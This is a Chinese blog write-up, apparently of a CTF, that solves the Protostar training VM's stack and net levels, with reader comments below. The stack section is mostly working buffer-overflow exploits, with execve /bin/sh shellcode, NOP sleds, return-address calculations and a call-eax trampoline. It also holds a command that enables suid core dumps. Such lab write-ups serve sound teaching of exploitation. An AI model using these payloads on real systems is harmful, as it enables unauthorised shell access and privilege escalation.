首页 > CTF, Exploit-Exercises > Exploit-Exercises Protostar Writeup Part I

Exploit-Exercises Protostar Writeup Part I

这是Exploit-Exercises的Protostar中stack和net部分的Writeup,format以及heap和final将在另一篇文章中贴出。发现markdown写东西挺清爽的,不过好像Wordpress不支持,有插件,但是可能会影响旧的文章的阅读。
stack0

python -c "print 'A'*65" | ./stack0

stack1

python -c "print 'A'*64+'\x64\x63\x62\x61'" | xargs ./stack1

stack2

#!/usr/bin/env python
# -*- coding:utf-8 -*-
import os
 
def main():
    envval = 'A'*64 + '\x0a\x0d\x0a\x0d'
    os.putenv("GREENIE", envval)
    os.system("./stack2")
 
if __name__ == "__main__":
    main()

Protostar的操作极其不便,实在不是很喜欢。我比较喜欢的方式是把bin拿到别的系统上去分析,或者写好python脚本之后下载到protostar里面去执行。Python有简单的HTTP Server模块,很方便。

python -m SimpleHTTPServer

stack3

python -c "print 'A'*64+'\x24\x84\x04\x08'" | ./stack3

stack4

gdb stack4
disas win
(得到win函数的地址: 0x080483f4)
 
disas main
   0x08048408 <+0>:	push   %ebp
   0x08048409 <+1>:	mov    %esp,%ebp
   0x0804840b <+3>:	and    $0xfffffff0,%esp
   0x0804840e <+6>:	sub    $0x50,%esp
   0x08048411 <+9>:	lea    0x10(%esp),%eax
   0x08048415 <+13>:	mov    %eax,(%esp)
   0x08048418 <+16>:	call   0x804830c <gets@plt>
   0x0804841d <+21>:	leave  
   0x0804841e <+22>:	ret    
b *0x0804840b
r
i r $esp
esp            0xbffff128	0xbffff128

main函数的返回地址覆盖偏移值为: 0×50+8+4-0×10=0x4C

exploit code

python -c "print 'A'*0x4C+'\xf4\x83\x04\x08'" | ./stack4

stack5

disas main
   0x080483c4 <+0>:	push   %ebp
   0x080483c5 <+1>:	mov    %esp,%ebp
   0x080483c7 <+3>:	and    $0xfffffff0,%esp
   0x080483ca <+6>:	sub    $0x50,%esp
   0x080483cd <+9>:	lea    0x10(%esp),%eax
   0x080483d1 <+13>:	mov    %eax,(%esp)
   0x080483d4 <+16>:	call   0x80482e8 <gets@plt>
   0x080483d9 <+21>:	leave  
   0x080483da <+22>:	ret    
b *0x080483d1
r
i r $eax

可以看到eax寄存器的值为: 0xbffffce0

import sys
 
totallen = 0x4C
retnaddr = "\xe0\xfc\xff\xbf"
shellcode = ("\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69" +
             "\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80")
sys.stdout.write(shellcode + '\x90'*(totallen-len(shellcode)) + retnaddr)

这里有一个奇怪的问题,直接执行stack5这个程序,将会提示段错误:

Segmentation fault

而如果在GDB下执行,Shellcode倒是成功执行了,但是shell进程马上就退出了:

Executing new program: /bin/dash
 
Program exited normally.

两个问题
1. 直接执行提示Segmentation fault,而GDB下可以成功执行Shellcode
2. GDB下执行Shellcode后,shell进程立刻退出了

可能原因
1. 两种情况下栈基址不一样,所以最好通过分析core dump来得到覆盖地址
2. MattAndreko’s Blog[1]的文章中提到对于gets缓冲区溢出的情况,如果执行execve的shellcode,需要想关闭stdin然后重新打开,在Exploit-DB[2]可以得到这样的一份Shellcode

生成并分析core文件

ulimit -c unlimited                 不限制core文件的大小
cat /proc/sys/kernel/core_pattern   查看core文件位置与格式
echo 1 > /proc/sys/fs/suid_dumpable 设置生成core文件
python -c "print 'A'*100+'B'*4" | /opt/protostar/bin/stack5
(Segmentation fault (core dumped))
gdb -q -c core.11.stack5.2083       分析core文件
[New LWP 2083]
Core was generated by '/opt/protostar/bin/stack5'.
Program terminated with signal 11, Segmentation fault.
#0  0x41414141 in ?? ()
(gdb) x /40xw $esp-100
0xbffffcdc:	0x080483d9	0xbffffcf0	0xb7ec6165	0xbffffcf8
0xbffffcec:	0xb7eada75	0x41414141	0x41414141	0x41414141
0xbffffcfc:	0x41414141	0x41414141	0x41414141	0x41414141
0xbffffd0c:	0x41414141	0x41414141	0x41414141	0x41414141
0xbffffd1c:	0x41414141	0x41414141	0x41414141	0x41414141
0xbffffd2c:	0x41414141	0x41414141	0x41414141	0x41414141
0xbffffd3c:	0x41414141	0x41414141	0x41414141	0x41414141
0xbffffd4c:	0x41414141	0x41414141	0x42424242	0xb7ffef00
0xbffffd5c:	0x08048232	0x00000001	0xbffffda0	0xb7ff0626
0xbffffd6c:	0xb7fffab0	0xb7fe1b28	0xb7fd7ff4	0x00000000
(gdb)

可以看到从0xbffffcf0地址处开始覆盖栈上的数据,这里可以在前面设置适量的NOP指令,确保Shellcode执行的成功率。
返回地址计算: 0xbffffcf0+0x4C+4 = 0xbffffd40
exploit code

import sys
 
retnaddr = "\x40\xfd\xff\xbf"
shellcode = ("\x31\xc0\x31\xdb\xb0\x06\xcd\x80\x53\x68/tty\x68/dev" +
             "\x89\xe3\x31\xc9\x66\xb9\x12\x27\xb0\x05\xcd\x80\x31" +
             "\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99" +
             "\xb0\x0b\xcd\x80")
sys.stdout.write('A'*0x4C + retnaddr + '\x90'*20 + shellcode)

现在就可以成功溢出了。生成Core文件的设置参考了文章Kroosec’s blog[3]

stack6
对返回地址做了限制,不能直接跳转到栈上执行代码了。这里可以通过两层跳转实现,先把返回地址覆盖为一个ret指令的地址,直接取getpath最后一条指令的地址( 0x080484f9 )即可。通过这条指令再一次取栈上的地址,而这个地址就可以是Shellcode的起始地址。

(gdb) disas getpath
Dump of assembler code for function getpath:
   0x08048484 <+0>:	push   %ebp
   0x08048485 <+1>:	mov    %esp,%ebp
   0x08048487 <+3>:	sub    $0x68,%esp
   0x0804848a <+6>:	mov    $0x80485d0,%eax
   0x0804848f <+11>:	mov    %eax,(%esp)
   0x08048492 <+14>:	call   0x80483c0 <printf@plt>
   0x08048497 <+19>:	mov    0x8049720,%eax
   0x0804849c <+24>:	mov    %eax,(%esp)
   0x0804849f <+27>:	call   0x80483b0 <fflush@plt>
   0x080484a4 <+32>:	lea    -0x4c(%ebp),%eax
   0x080484a7 <+35>:	mov    %eax,(%esp)
   0x080484aa <+38>:	call   0x8048380 <gets@plt>
   ...
   ...
   0x080484f9 <+117>:	ret    
End of assembler dump.

返回地址覆盖偏移: 0x4C+4 = 0×50
覆盖返回地址测试

python -c "print 'A'*0x50+'B'*4" | ./stack6
 
gdb -q -c core.11.stack6.2361
[New LWP 2361]
Core was generated by './stack6'.
Program terminated with signal 11, Segmentation fault.
#0  0x42424242 in ?? ()
(gdb) i r $esp
esp            0xbffffe40	0xbffffe40
(gdb) x /40xw $esp-100
0xbffffddc:	0x00000001	0x00000000	0x00000001	0xb7fff8f8
0xbffffdec:	0x41414141	0x41414141	0x41414141	0x41414141
0xbffffdfc:	0x41414141	0x41414141	0x41414141	0x41414141
0xbffffe0c:	0x41414141	0x41414141	0x41414141	0x41414141
0xbffffe1c:	0x41414141	0x41414141	0x41414141	0x41414141
0xbffffe2c:	0x42424242	0x41414141	0x41414141	0x41414141
0xbffffe3c:	0x42424242	0x08048500	0x00000000	0xbffffec8
0xbffffe4c:	0xb7eadc76	0x00000001	0xbffffef4	0xbffffefc
0xbffffe5c:	0xb7fe1848	0xbffffeb0	0xffffffff	0xb7ffeff4
0xbffffe6c:	0x080482a1	0x00000001	0xbffffeb0	0xb7ff0626
(gdb)

返回地址覆盖到栈上的 0xbffffe3c 处,后面接上retn指令的地址,再接上Shellcode的地址,最后接上Shellcode即可。
exploit code

import sys
 
retnaddr = '\xf9\x84\x04\x08'
junk = 'A'*0x50
shellcodeaddr = '\x44\xfe\xff\xbf'
nops = '\x90'*20
shellcode = ("\x31\xc0\x31\xdb\xb0\x06\xcd\x80\x53\x68/tty\x68/dev" +
             "\x89\xe3\x31\xc9\x66\xb9\x12\x27\xb0\x05\xcd\x80\x31" +
             "\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99" +
             "\xb0\x0b\xcd\x80")
sys.stdout.write(junk + retnaddr + shellcodeaddr + nops + shellcode)

stack7
getpath函数最后一条是return strdup(buffer),通过gets(buffer)覆盖返回地址为call eax指令的地址即可。
使用IDA找到这样的一条指令:

.text:080485EB                 call    eax ; __CTOR_LIST__

返回地址覆盖偏移: 0x4C + 4 = 0×50

(gdb) disas getpath
   0x080484c4 <+0>:	push   %ebp
   0x080484c5 <+1>:	mov    %esp,%ebp
   0x080484c7 <+3>:	sub    $0x68,%esp
   0x080484ca <+6>:	mov    $0x8048620,%eax
   0x080484cf <+11>:	mov    %eax,(%esp)
   0x080484d2 <+14>:	call   0x80483e4 <printf@plt>
   0x080484d7 <+19>:	mov    0x8049780,%eax
   0x080484dc <+24>:	mov    %eax,(%esp)
   0x080484df <+27>:	call   0x80483d4 <fflush@plt>
   0x080484e4 <+32>:	lea    -0x4c(%ebp),%eax
   0x080484e7 <+35>:	mov    %eax,(%esp)
   0x080484ea <+38>:	call   0x80483a4 <gets@plt>
   0x080484ef <+43>:	mov    0x4(%ebp),%eax            ; 注意这里取了返回地址存入缓冲区
   0x080484f2 <+46>:	mov    %eax,-0xc(%ebp)           ; 所以返回地址会出现两次
   ...
   ...
   0x08048543 <+127>:	leave  
   0x08048544 <+128>:	ret      
End of assembler dump.

call eax直接跳转到buffer上执行代码,所以前面的填充要注意一下,这里填充为0×90,然后通过一个jump跳过覆盖的返回地址。因为把返回地址存入了缓冲区( ebp-0x0C ),使得返回地址出现了两次,这里需要跳过:0x4C – 0x0C 之后出现一次返回地址,即要跳过0×40 ~ 0×54 这0×14个字节。可以使用JMP来实现。
exploit code

import sys
 
retnaddr = '\xeb\x85\x04\x08'
junk = '\x90'*(0x40-2) + '\xEB\x14'     # jump 0x14 bytes afterwards
junk += '\x90'*(0x50 - len(junk))
nops = '\x90'*20
shellcode = ("\x31\xc0\x31\xdb\xb0\x06\xcd\x80\x53\x68/tty\x68/dev" +
             "\x89\xe3\x31\xc9\x66\xb9\x12\x27\xb0\x05\xcd\x80\x31" +
             "\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99" +
             "\xb0\x0b\xcd\x80")
sys.stdout.write(junk + retnaddr + nops + shellcode)

net0

#!/usr/bin/env python
# -*- coding:utf-8 -*-
import socket
import struct
 
def main():
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect(("192.168.218.170", 2999))
    data = sock.recv(1024)
    print data
    data = data.split("'")[1]
    sock.send(struct.pack('<i', int(data)))
    print sock.recv(1024)
    sock.close()
 
if __name__ == "__main__":
    main()

net1

#!/usr/bin/env python
# -*- coding:utf-8 -*-
import socket
import struct
 
def main():
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect(("192.168.218.170", 2998))
    data = sock.recv(1024)
    data = "%d\n" % (struct.unpack('<i', data))
    print data
    sock.send(data)
    print sock.recv(1024)
    sock.close()
 
if __name__ == "__main__":
    main()

net2

#!/usr/bin/env python
# -*- coding:utf-8 -*-
import socket
import struct
 
def main():
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect(("192.168.218.170", 2997))
 
    sum = 0
    datalen = 0
    while datalen < 12:
        data = sock.recv(1024)
        datalen += len(data)
        data = struct.unpack("<%dI" % (len(data)/4), data)
        for x in data:
            print "%d" % x
            sum += x
    sock.send(struct.pack("<I", sum))
    print sock.recv(1024)
    sock.close()
 
if __name__ == "__main__":
    main()

net3

#!/usr/bin/env python
# -*- coding:utf-8 -*-
import socket
import struct
 
def getData():
    stritem = ["net3", "awesomesauce", "password"]
    data = '\x17'
    for s in stritem:
        data = data + chr(len(s)+1) + s + '\x00'
    data = data + '\n'
    return data
 
def main():
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect(("192.168.218.170", 2996))
    data = getData()
    sock.send(struct.pack('>H', len(data)))
    sock.send(data)
    print sock.recv(1024)[3:]
 
if __name__ == "__main__":
    main()

点击阅读Exploit-Exercises Protostar Writeup (Stack & Net)阅读GitHub Markdown内容。


觉得文章还不错?点击此处对作者进行打赏!


本文地址: 程序人生 >> Exploit-Exercises Protostar Writeup Part I
作者:代码疯子(Wins0n) 本站内容如无声明均属原创,转载请保留作者信息与原文链接,谢谢!


更多



  1. xph
    2014年4月4日14:31 | #1

    恩,很给力啊,你的heap3编译和利用环境是什么~~

    [回复]

    代码疯子 回复:

    @xph, 还没有弄好,最近太忙。不过,你不是直接用官方的镜像测试吗?那样就不用自己麻烦了

    [回复]

  2. abc
    2014年5月14日12:24 | #2

    我想问大神
    stack5 retnaddr = “\x40\xfd\xff\xbf” 这个地址我本地GDB是随机地址,每次都不一样怎么搞?

    [回复]

    代码疯子 回复:

    @abc, 你是在什么系统下运行的程序?在官方的镜像上应该是稳定的吧

    [回复]

    abc 回复:

    @代码疯子, 已经解决了···是ASLR 关闭了就行了 嘿嘿 [em022]

    [回复]

  3. 2014年5月27日08:43 | #3

    可以使用一些Markdown工具,写完之后,导出html,放到wordpress上就可以使用了,效果还可以。

    [回复]

    代码疯子 回复:

    @l0g1n, 有什么推荐的工具吗?试过几个,感觉都不怎么样。还有插件什么的不想折腾了。

    [回复]

    l0g1n 回复:

    @代码疯子, 我用的Mou,其它的不太清楚了,在线的也有一些很好用,像:http://mahua.jser.me/,可以直接导出html。

    [回复]

  4. z8
    2014年9月11日17:13 | #4

    Wins0n程序疯子原理是你,过来膜拜一下

    [回复]

    代码疯子 回复:

    @z8, Z8你别黑我了 膜拜V587的Z8大神

    [回复]

  5. z8
    2014年9月11日17:18 | #5

    看来是时候开个博客了

    [回复]

    代码疯子 回复:

    @z8, 去开吧,让我们有个膜拜的地方

    [回复]

  6. 2015年4月13日11:22 | #6

    刚开始做这个,觉得还好,只是不能安装到硬盘里 用着不方便
    有一点不明白,Protostar里面似乎没有关机?
    并没有在里面找到shutdown, init, reboot或者poweroff之类的程序

    [回复]

    代码疯子 回复:

    @Silver, 可以SSH到虚拟机,那样就方便了。那些关机的程序估计删了吧

    [回复]

  7. 大米
    2015年12月24日14:04 | #7

    你好,加个q吧,有事没事可以交流一下:)。邮箱的qq

    [回复]

    代码疯子 回复:

    @大米, 谢谢关注,工作之后已经不怎么关注CTF题目了,多参加CTF比赛可以结识到更多的朋友。

    [回复]

  1. 本文目前尚无任何 trackbacks 和 pingbacks.